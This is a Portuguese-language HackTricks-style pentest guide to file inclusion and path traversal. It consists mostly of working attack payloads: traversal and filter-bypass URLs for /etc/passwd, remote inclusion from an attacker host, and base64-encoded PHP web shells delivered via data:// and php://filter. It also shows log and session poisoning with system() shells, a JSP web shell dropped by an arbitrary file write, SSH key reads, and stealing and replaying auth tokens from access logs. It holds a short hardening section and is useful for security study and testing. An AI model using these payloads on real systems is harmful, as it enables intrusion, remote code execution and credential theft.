File Inclusion/Path traversal
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
File Inclusion
Remote File Inclusion (RFI): O arquivo é carregado a partir de um servidor remoto (Melhor: você pode escrever o código e o servidor irá executá-lo). Em php isso está desativado por padrão (allow_url_include).
Local File Inclusion (LFI): O servidor carrega um arquivo local.
A vulnerabilidade ocorre quando o usuário consegue, de alguma forma, controlar o arquivo que será carregado pelo servidor.
Funções PHP vulneráveis: require, require_once, include, include_once
Uma ferramenta interessante para explorar essa vulnerabilidade: https://github.com/kurobeats/fimap
Blind - Interesting - LFI2RCE files
wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ
Linux
*Misturando várias listas nix LFI e adicionando mais caminhos, criei esta:
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt
Tente também trocar / por \
Tente também adicionar ../../../../../
Uma lista que usa várias técnicas para encontrar o arquivo /etc/password (para verificar se a vulnerabilidade existe) pode ser encontrada here
Windows
Mesclagem de diferentes wordlists:
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt
Tente também trocar / por \
Tente também remover C:/ e adicionar ../../../../../
Uma lista que usa várias técnicas para encontrar o arquivo /boot.ini (para verificar se a vulnerabilidade existe) pode ser encontrada here
OS X
Confira a lista LFI do linux.
LFI básico e bypasses
Todos os exemplos são para Local File Inclusion, mas também podem ser aplicados a Remote File Inclusion (page=http://myserver.com/phpshellcode.txt\.
http://example.com/index.php?page=../../../etc/passwd
sequências de traversal removidas não recursivamente
http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
Null byte (%00)
Bypass o acréscimo de caracteres adicionais no final da string fornecida (bypass de: $_GET[‘param’].“php”)
http://example.com/index.php?page=../../../etc/passwd%00
Isto está resolvido desde o PHP 5.4
Codificação
Você pode usar codificações não padronizadas, como double URL encode (e outras):
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
HTML-to-PDF SVG/IMG path traversal
Engines modernos de HTML-to-PDF (por exemplo TCPDF ou wrappers como html2pdf) analisam alegremente HTML, SVG, CSS e URLs de fontes fornecidos pelo atacante, porém executam-se dentro de redes backend confiáveis com acesso ao sistema de arquivos. Uma vez que você consegue injetar HTML em $pdf->writeHTML()/Html2Pdf::writeHTML(), frequentemente é possível exfiltrar arquivos locais que a conta do servidor web pode ler.
- Fingerprint the renderer: todo PDF gerado contém um campo
Producer(por exemploTCPDF 6.8.2). Conhecer o build exato indica quais filtros de caminho existem e se a decodificação de URL ocorre antes da validação. - Inline SVG payloads:
TCPDF::startSVGElementHandler()lê o atributoxlink:hrefde elementos<image>antes de executarurldecode(). Incorporar um SVG malicioso dentro de uma data URI faz com que muitos sanitizadores HTML ignorem o payload enquanto TCPDF ainda o analisa:
<img src="data:image/svg+xml;base64,PHN2ZyB2aWV3Qm94PSIwIDAgMCAwIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjxpbWFnZSB4bGluazpocmVmPSIuLi8uLi8uLi8uLi8uLi90bXAvdXNlcl9maWxlcy91c2VyXzEvcHJpdmF0ZV9pbWFnZS5wbmciIGhlaWdodD0iMTAwJSIgd2lkdGg9IjEwMCUiLz48L3N2Zz4=" />
TCPDF antepõe $_SERVER['DOCUMENT_ROOT'] a caminhos que começam com / e só resolve .. mais tarde, então use segmentos iniciais ../../.. ou /../../.. para escapar do root após o antepôr.
- Encoding to bypass naive filters: Versions ≤6.8.2 only check for the literal substring
../before decoding the URL. Sending..%2f(or..%2F) in the SVG or in a raw<img src>attribute bypasses the check, because the traversal dot-dot-slash sequence is recreated only after TCPDF callsurldecode(). - Double-encoding for multi-stage decoding: If user input is decoded by the web framework and by TCPDF, double-encode the slash (
%252f). One decode turns it into%2f, the second decode in TCPDF turns it into/, yielding/..%252f..→/../../../…without ever showing../to the early filter. - HTML
<img>handler:TCPDF::openHTMLTagHandler()contains the same order-of-operations bug, allowing direct HTML payloads such assrc="%2f..%252f..%252ftmp%252fsecret.png"to read any locally reachable bitmap.
This technique leaks anything readable by the PDF worker (digitalizações de passaporte, API keys renderizadas como imagens, etc.). Hardeners fixed it in 6.9.1 by normalizing paths (isRelativePath()), so during tests prioritise older Producer versions.
A partir da pasta existente
Talvez o back-end esteja verificando o caminho da pasta:
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
Explorando diretórios do sistema de arquivos em um servidor
O sistema de arquivos de um servidor pode ser explorado recursivamente para identificar diretórios, não apenas arquivos, empregando certas técnicas. Esse processo envolve determinar a profundidade do diretório e sondar a existência de pastas específicas. Abaixo está um método detalhado para realizar isso:
- Determinar a profundidade do diretório: Verifique a profundidade do diretório atual obtendo com sucesso o arquivo
/etc/passwd(aplicável se o servidor for baseado em Linux). Um exemplo de URL pode ser estruturado da seguinte forma, indicando uma profundidade de três:
http://example.com/index.php?page=../../../etc/passwd # depth of 3
- Sondar Pastas: Anexe o nome da pasta suspeita (por exemplo,
private) à URL, depois volte para/etc/passwd. O nível adicional de diretório exige incrementar a profundidade em uma unidade:
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
- Interpretar os resultados: A resposta do servidor indica se a pasta existe:
- Erro / Sem saída: A pasta
privateprovavelmente não existe no local especificado. - Conteúdo de
/etc/passwd: A presença da pastaprivateestá confirmada.
- Exploração recursiva: Pastas descobertas podem ser sondadas adicionalmente por subdiretórios ou arquivos usando a mesma técnica ou métodos tradicionais de Local File Inclusion (LFI) methods.
Para explorar diretórios em diferentes locais do sistema de arquivos, ajuste o payload conforme necessário. Por exemplo, para verificar se /var/www/ contém um diretório private (assumindo que o diretório atual está em uma profundidade de 3), use:
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
Path Truncation Technique
Path truncation é um método empregado para manipular caminhos de arquivo em aplicações web. É frequentemente usado para acessar arquivos restritos contornando certas medidas de segurança que anexam caracteres adicionais ao final dos caminhos de arquivo. O objetivo é construir um caminho de arquivo que, uma vez alterado pela medida de segurança, ainda aponte para o arquivo desejado.
Em PHP, várias representações de um caminho de arquivo podem ser consideradas equivalentes devido à natureza do sistema de arquivos. Por exemplo:
/etc/passwd,/etc//passwd,/etc/./passwd, and/etc/passwd/são tratados como o mesmo caminho.- Quando os últimos 6 caracteres são
passwd, anexar um/(transformando empasswd/) não altera o arquivo-alvo. - Da mesma forma, se
.phpfor anexado a um caminho de arquivo (comoshellcode.php), adicionar/.no final não alterará o arquivo acessado.
Os exemplos fornecidos demonstram como utilizar path truncation para acessar /etc/passwd, um alvo comum devido ao seu conteúdo sensível (informações de contas de usuário):
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
Nesses cenários, o número de sequências ../ necessárias pode ser cerca de 2027, mas esse número pode variar conforme a configuração do servidor.
- Uso de Dot Segments e Caracteres Adicionais: Sequências de traversal (
../) combinadas com segmentos de ponto adicionais e caracteres podem ser usadas para navegar pelo sistema de arquivos, efetivamente ignorando strings anexadas pelo servidor. - Determinando o Número Necessário de Traversals: Por tentativa e erro, é possível encontrar o número preciso de sequências
../necessárias para navegar até o diretório raiz e então para/etc/passwd, garantindo que quaisquer strings anexadas (como.php) sejam neutralizadas, mas o caminho desejado (/etc/passwd) permaneça intacto. - Começar com um Diretório Falso: É prática comum começar o caminho com um diretório inexistente (como
a/). Essa técnica é usada como medida de precaução ou para satisfazer os requisitos da lógica de parsing de caminhos do servidor.
Ao empregar técnicas de truncamento de caminho, é crucial entender o comportamento de parsing de caminhos do servidor e a estrutura do sistema de arquivos. Cada cenário pode exigir uma abordagem diferente, e testes são frequentemente necessários para encontrar o método mais eficaz.
Esta vulnerabilidade foi corrigida no PHP 5.3.
Filter bypass tricks
http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter
Remote File Inclusion
No php isso está desabilitado por padrão porque allow_url_include está Desativado. Deve estar Ativado para funcionar, e, nesse caso, você poderia incluir um arquivo PHP do seu servidor e obter RCE:
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
Se por algum motivo allow_url_include estiver On, mas o PHP estiver filtrando o acesso a páginas externas, de acordo com este post, você poderia usar, por exemplo, o protocolo data com base64 para decodificar um código PHP em b64 e egt RCE:
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
Tip
No código anterior, o
+.txtfinal foi adicionado porque o atacante precisava de uma string que terminasse em.txt, então a string termina com isso e, após o b64 decode, essa parte retornará apenas lixo e o código PHP real será incluído (e, portanto, executado).Outro exemplo não usando o protocolo
php://seria:
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
Python Elemento raiz
Em Python, em um código como este:
# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)
Se o usuário passar um caminho absoluto para file_name, o caminho anterior é simplesmente removido:
os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'
É o comportamento pretendido de acordo com the docs:
Se um componente for um caminho absoluto, todos os componentes anteriores são descartados e a junção continua a partir do componente de caminho absoluto.
Java Listar diretórios
Parece que, se houver um Path Traversal em Java e você pedir um diretório em vez de um arquivo, a listagem do diretório será retornada. Isso não ocorre em outras linguagens (afaik).
Top 25 parâmetros
Aqui está a lista dos 25 principais parâmetros que podem ser vulneráveis a local file inclusion (LFI) (origem: link):
?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}
LFI / RFI usando PHP wrappers & protocols
php://filter
PHP filters permitem executar operações básicas de modificação nos dados antes de eles serem lidos ou escritos. Existem 5 categorias de filtros:
- String Filters:
string.rot13string.toupperstring.tolowerstring.strip_tags: Remove tags dos dados (tudo entre os caracteres “<” e “>”)- Note que este filtro desapareceu nas versões modernas do PHP
- Conversion Filters
convert.base64-encodeconvert.base64-decodeconvert.quoted-printable-encodeconvert.quoted-printable-decodeconvert.iconv.*: Transforma para uma codificação diferente (convert.iconv.<input_enc>.<output_enc>). Para obter a lista de todas as codificações suportadas, execute no console:iconv -l
Warning
Abusando do
convert.iconv.*conversion filter você pode gerar texto arbitrário, o que pode ser útil para escrever texto arbitrário ou fazer com que uma função como include processe texto arbitrário. Para mais informações, veja LFI2RCE via php filters.
- Compression Filters
zlib.deflate: Comprime o conteúdo (útil se for exfiltrar muita informação)zlib.inflate: Descomprime os dados- Encryption Filters
mcrypt.*: Deprecatedmdecrypt.*: Deprecated- Other Filters
- Executando em PHP
var_dump(stream_get_filters());você pode encontrar alguns filtros inesperados: consumeddechunk: reverte HTTP chunked encodingconvert.*
# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");
# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");
# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)
Warning
A parte “php://filter” não diferencia maiúsculas de minúsculas
Using php filters as oracle to read arbitrary files
In this post é proposta uma técnica para ler um arquivo local sem que a saída seja devolvida pelo servidor. Esta técnica baseia-se numa boolean exfiltration of the file (char by char) using php filters como oracle. Isso porque php filters podem ser usadas para aumentar um texto o suficiente para fazer o php lançar uma exceção.
No post original você encontra uma explicação detalhada da técnica, mas aqui está um resumo rápido:
- Use o codec
UCS-4LEpara deixar o caractere inicial do texto no começo e fazer o tamanho da string crescer exponencialmente. - Isso será usado para gerar um texto tão grande quando a letra inicial for adivinhada corretamente que o php disparará um erro
- O filtro dechunk irá remover tudo se o primeiro caractere não for hexadecimal, então podemos saber se o primeiro caractere é hex.
- Isso, combinado com o anterior (e outros filtros dependendo da letra testada), permitirá adivinhar uma letra no começo do texto ao ver quando fazemos transformações suficientes para torná-la não-hexadecimal. Porque se for hex, o dechunk não a deletará e a bomba inicial fará o php gerar erro.
- O codec convert.iconv.UNICODE.CP930 transforma cada letra na seguinte (então após esse codec: a -> b). Isso nos permite descobrir se a primeira letra é um
a, por exemplo, porque se aplicarmos 6 vezes esse codec a->b->c->d->e->f->g a letra deixa de ser um caractere hexadecimal, portanto o dechunk não a deleta e o erro do php é acionado porque ela se multiplica com a bomba inicial. - Usando outras transformações como rot13 no início é possível leak outros caracteres como n, o, p, q, r (e outros codecs podem ser usados para mover outras letras para a faixa hex).
- Quando o caractere inicial é um número, é necessário codificá-lo em base64 e leak as 2 primeiras letras para leak o número.
- O problema final é ver how to leak more than the initial letter. Usando filtros de ordem de memória como convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE é possível mudar a ordem dos caracteres e trazer para a primeira posição outras letras do texto.
- E, para poder obter further data, a ideia é gerar 2 bytes de junk data no início com convert.iconv.UTF16.UTF16, aplicar UCS-4LE para fazê-los pivotarem com os próximos 2 bytes, e deletar os dados até o junk data (isso removerá os primeiros 2 bytes do texto inicial). Continue fazendo isso até atingir o bit desejado para leak.
No post, também foi disponibilizada uma ferramenta para executar isso automaticamente: php_filters_chain_oracle_exploit.
php://fd
Este wrapper permite acessar file descriptors que o processo tem abertos. Potencialmente útil para exfiltrate o conteúdo de arquivos abertos:
echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");
Você também pode usar php://stdin, php://stdout e php://stderr para acessar os descritores de arquivo 0, 1 e 2 respectivamente (não tenho certeza de como isso poderia ser útil em um ataque)
zip:// e rar://
Faça upload de um arquivo Zip ou Rar com um PHPShell dentro e acesse-o.
Para poder abusar do protocolo rar ele precisa ser especificamente ativado.
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php
http://example.com/index.php?page=zip://shell.jpg%23payload.php
# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php
data://
http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
Observe que esse protocolo é restrito pelas configurações do php allow_url_open e allow_url_include
expect://
Expect precisa estar ativado. Você pode executar código usando isto:
http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls
input://
Especifique seu payload nos parâmetros POST:
curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"
phar://
Um arquivo .phar pode ser utilizado para executar código PHP quando uma aplicação web utiliza funções como include para carregamento de arquivos. O trecho de código PHP abaixo demonstra a criação de um arquivo .phar:
<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();
Para compilar o arquivo .phar, o seguinte comando deve ser executado:
php --define phar.readonly=0 create_path.php
Ao ser executado, um arquivo chamado test.phar será criado, o qual pode ser potencialmente aproveitado para explorar vulnerabilidades de Local File Inclusion (LFI).
Nos casos em que o LFI apenas realiza leitura de arquivos sem executar o código PHP contido neles, através de funções como file_get_contents(), fopen(), file(), file_exists(), md5_file(), filemtime() ou filesize(), pode-se tentar explorar uma vulnerabilidade de deserialização. Essa vulnerabilidade está associada à leitura de arquivos usando o protocolo phar.
Para um entendimento detalhado sobre a exploração de vulnerabilidades de deserialização no contexto de arquivos .phar, consulte o documento linkado abaixo:
Phar Deserialization Exploitation Guide
CVE-2024-2961
It was possible to abuse any arbitrary file read from PHP that supports php filters to get a RCE. The detailed description can be found in this post.
Very quick summary: a 3 byte overflow in the PHP heap was abused to alter the chain of free chunks of a specific size in order to be able to write anything in any address, so a hook was added to call system.
It was possible to alocar chunks de tamanhos específicos abusando de mais php filters.
More protocols
Confira mais possíveis protocols to include here:
- php://memory and php://temp — Escreve em memória ou em um arquivo temporário (não tenho certeza de como isso pode ser útil em um ataque de file inclusion)
- file:// — Acessando o sistema de arquivos local
- http:// — Acessando URLs HTTP(s)
- ftp:// — Acessando URLs FTP(s)
- zlib:// — Fluxos de compressão
- glob:// — Encontrar pathnames que correspondem ao padrão (Não retorna nada imprimível, então não é muito útil aqui)
- ssh2:// — Secure Shell 2
- ogg:// — Audio streams (Not useful to read arbitrary files)
LFI via PHP’s ‘assert’
Local File Inclusion (LFI) risks in PHP are notably high when dealing with the ‘assert’ function, which can execute code within strings. This is particularly problematic if input containing directory traversal characters like “..” is being checked but not properly sanitized.
For example, PHP code might be designed to prevent directory traversal like so:
assert("strpos('$file', '..') === false") or die("");
Embora isso vise impedir traversal, cria inadvertidamente um vetor para code injection. Para explorar isso e ler o conteúdo de arquivos, um attacker poderia usar:
' and die(highlight_file('/etc/passwd')) or '
Da mesma forma, para executar comandos arbitrários do sistema, pode-se usar:
' and die(system("id")) or '
É importante URL-encode these payloads.
PHP Blind Path Traversal
Warning
This technique is relevant in cases where you control the file path of a PHP function that will access a file but you won’t see the content of the file (like a simple call to
file()) but the content is not shown.
In this incredible post it’s explained how a blind path traversal can be abused via PHP filter to exfiltrate the content of a file via an error oracle.
Em resumo, a técnica usa a codificação “UCS-4LE” para tornar o conteúdo de um arquivo tão grande que a função PHP que abre o arquivo vai disparar um erro.
Então, para leak o primeiro char o filtro dechunk é usado junto com outros como base64 ou rot13 e finalmente os filtros convert.iconv.UCS-4.UCS-4LE e convert.iconv.UTF16.UTF-16BE são usados para colocar outros chars no início e leak them.
Funções que podem ser vulneráveis: file_get_contents, readfile, finfo->file, getimagesize, md5_file, sha1_file, hash_file, file, parse_ini_file, copy, file_put_contents (only target read only with this), stream_get_contents, fgets, fread, fgetc, fgetcsv, fpassthru, fputs
Para os detalhes técnicos, confira o post mencionado!
LFI2RCE
Arbitrary File Write via Path Traversal (Webshell RCE)
Quando o código server-side que ingests/uploads arquivos constrói o caminho de destino usando dados controlados pelo usuário (por exemplo, um nome de arquivo ou URL) sem canonicalizar e validar, segmentos .. e caminhos absolutos podem escapar do diretório pretendido e causar uma gravação arbitrária de arquivo. Se você conseguir colocar o payload em um diretório exposto pela web, normalmente obtém RCE não autenticada ao dropar um webshell.
Fluxo típico de exploração:
- Identificar um write primitive em um endpoint ou background worker que aceita um path/filename e escreve conteúdo no disco (por exemplo, message-driven ingestion, XML/JSON command handlers, ZIP extractors, etc.).
- Determinar diretórios expostos pela web. Exemplos comuns:
- Apache/PHP:
/var/www/html/ - Tomcat/Jetty:
<tomcat>/webapps/ROOT/→ dropshell.jsp - IIS:
C:\inetpub\wwwroot\→ dropshell.aspx - Criar um caminho de traversal que escape do diretório de armazenamento pretendido para o webroot, e incluir o conteúdo do seu webshell.
- Acessar o payload dropado e executar comandos.
Notas:
- O serviço vulnerável que realiza a escrita pode escutar em uma porta não-HTTP (por exemplo, um JMF XML listener em TCP 4004). O portal web principal (porta diferente) servirá depois seu payload.
- Em stacks Java, essas gravações de arquivo são frequentemente implementadas com simples concatenação
File/Paths. Falta de canonicalização/allow-listing é a falha central.
Exemplo genérico estilo XML/JMF (os schemas dos produtos variam – o wrapper DOCTYPE/body é irrelevante para o traversal):
<?xml version="1.0" encoding="UTF-8"?>
<JMF SenderID="hacktricks" Version="1.3">
<Command Type="SubmitQueueEntry">
<!-- Write outside the intake folder into the webroot via traversal -->
<Resource Name="FileName">../../../webapps/ROOT/shell.jsp</Resource>
<Data>
<![CDATA[
<%@ page import="java.io.*" %>
<%
String c = request.getParameter("cmd");
if (c != null) {
Process p = Runtime.getRuntime().exec(c);
try (var in = p.getInputStream(); var out = response.getOutputStream()) {
in.transferTo(out);
}
}
%>
]]>
</Data>
</Command>
</JMF>
Hardening que defeats esta classe de bugs:
- Resolve para um caminho canônico e faça cumprir que seja um descendente de um diretório base allow-listed.
- Rejeite qualquer caminho contendo
.., raízes absolutas, ou letras de drive; prefira filenames gerados. - Execute o writer como uma conta de baixo privilégio e segregue os diretórios de escrita dos served roots.
Remote File Inclusion
Explicado anteriormente, siga este link.
Via Apache/Nginx log file
Se o servidor Apache ou Nginx estiver vulnerável a LFI dentro da função include você pode tentar acessar /var/log/apache2/access.log or /var/log/nginx/access.log, inserir no user agent ou em um GET parameter um php shell como <?php system($_GET['c']); ?> e incluir esse arquivo
Warning
Note that if you use double quotes for the shell instead of simple quotes, the double quotes will be modified for the string “quote;”, PHP will throw an error there and nothing else will be executed.
Also, make sure you write correctly the payload or PHP will error every time it tries to load the log file and you won’t have a second opportunity.
Isso também pode ser feito em outros logs, mas cuidado, o código dentro dos logs pode estar URL encoded e isso pode destruir o Shell. O header authorisation “basic” contém “user:password” em Base64 e é decodificado dentro dos logs. O PHPShell pode ser inserido dentro desse header.
Outros caminhos possíveis de logs:
/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log
Fuzzing wordlist: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI
Leia os logs de acesso para coletar tokens de autenticação via GET (token replay)
Muitas aplicações aceitam por engano tokens de sessão/autenticação via GET (por exemplo, AuthenticationToken, token, sid). Se você tem um primitive de path traversal/LFI que permite acessar os logs do web server, você pode roubar esses tokens dos access logs e fazer replay para contornar totalmente a autenticação.
How-to:
- Use o traversal/LFI para ler o log de acesso do servidor web. Locais comuns:
- /var/log/apache2/access.log, /var/log/httpd/access_log
- /var/log/nginx/access.log
- Alguns endpoints retornam leituras de arquivo codificadas em Base64. Se for o caso, decodifique localmente e inspecione as linhas do log.
- Use Grep para localizar requisições GET que incluam um parâmetro de token e capture seu valor, então faça replay dele contra o ponto de entrada da aplicação.
Example flow (generic):
GET /vuln/asset?name=..%2f..%2f..%2f..%2fvar%2flog%2fapache2%2faccess.log HTTP/1.1
Host: target
Decodifique o body se estiver em Base64, então replay um token capturado:
GET /portalhome/?AuthenticationToken=<stolen_token> HTTP/1.1
Host: target
Notes:
- Tokens in URLs are logged by default; never accept bearer tokens via GET in production systems.
- If the app supports multiple token names, search for common keys like AuthenticationToken, token, sid, access_token.
- Roteie quaisquer tokens que possam ter leaked para os logs.
Via Email
Envie um email para uma conta interna (user@localhost) contendo seu payload PHP como <?php echo system($_REQUEST["cmd"]); ?> e tente incluir o mail do usuário com um caminho como /var/mail/<USERNAME> ou /var/spool/mail/<USERNAME>
Via /proc//fd/
- Faça upload de muitos shells (por exemplo: 100)
- Inclua http://example.com/index.php?page=/proc/$PID/fd/$FD, com $PID = PID do processo (pode ser brute forced) e $FD o descritor de arquivo (pode ser brute forced também)
Via /proc/self/environ
Como um arquivo de log, envie o payload no User-Agent; ele será refletido dentro do arquivo /proc/self/environ
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>
Via upload
Se você puder fazer upload de um arquivo, basta injetar o shell payload nele (por exemplo: <?php system($_GET['c']); ?>).
http://example.com/index.php?page=path/to/uploaded/file.png
Para manter o arquivo legível é melhor injetar nos metadados das imagens/doc/pdf
Via upload de arquivo ZIP
Faça upload de um arquivo ZIP contendo um PHP shell compactado e acesse:
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
Via sessões PHP
Verifique se o site usa sessão PHP (PHPSESSID)
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
No PHP, essas sessões são armazenadas em arquivos /var/lib/php5/sess\[PHPSESSID]_
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
Defina o cookie para <?php system('cat /etc/passwd');?>
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
Use o LFI para incluir o arquivo de sessão do PHP
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
Via ssh
Se o ssh estiver ativo, verifique qual usuário está sendo usado (/proc/self/status & /etc/passwd) e tente acessar <HOME>/.ssh/id_rsa
Via vsftpd logs
Os logs do servidor FTP vsftpd estão localizados em /var/log/vsftpd.log. No cenário em que exista uma vulnerabilidade Local File Inclusion (LFI), e seja possível acessar um servidor vsftpd exposto, os seguintes passos podem ser considerados:
- Injete um payload PHP no campo username durante o processo de login.
- Após a injeção, utilize a LFI para recuperar os logs do servidor em /var/log/vsftpd.log.
Via php base64 filter (using base64)
Como mostrado em este artigo, o PHP base64 filter ignora tudo que não é base64. Você pode usar isso para contornar a verificação de extensão de arquivo: se fornecer base64 que termina com “.php”, ele simplesmente ignora o “.” e adiciona “php” ao base64. Aqui está um payload de exemplo:
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
Via php filters (sem arquivo necessário)
This writeup explica que você pode usar php filters to generate arbitrary content como saída. O que basicamente significa que você pode generate arbitrary php code para o include without needing to write em um arquivo.
Via falha de segmentação
Enviar um arquivo que será armazenado como temporário em /tmp, então na mesma requisição, provoque uma falha de segmentação, e então o arquivo temporário não será deletado e você poderá procurá-lo.
LFI2RCE via Segmentation Fault
Via armazenamento de arquivos temporários do Nginx
Se você encontrou uma Local File Inclusion e o Nginx está em frente ao PHP, você pode ser capaz de obter RCE com a seguinte técnica:
Via PHP_SESSION_UPLOAD_PROGRESS
Se você encontrou uma Local File Inclusion, mesmo se você não tiver uma session e session.auto_start estiver Off. Se você fornecer o PHP_SESSION_UPLOAD_PROGRESS nos dados multipart POST, o PHP irá habilitar a session para você. Você poderia abusar disso para obter RCE:
LFI2RCE via PHP_SESSION_UPLOAD_PROGRESS
Via uploads de arquivos temporários no Windows
Se você encontrou uma Local File Inclusion e o servidor está rodando em Windows, você pode conseguir RCE:
Via pearcmd.php + URL args
As explained in this post, o script /usr/local/lib/phppearcmd.php existe por padrão em php docker images. Além disso, é possível passar argumentos para o script via URL porque está indicado que se um parâmetro de URL não tiver um =, ele deve ser usado como um argumento. Veja também watchTowr’s write-up e Orange Tsai’s “Confusion Attacks”.
The following request create a file in /tmp/hello.php with the content <?=phpinfo()?>:
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
O seguinte abusa de uma CRLF vuln para obter RCE (de here):
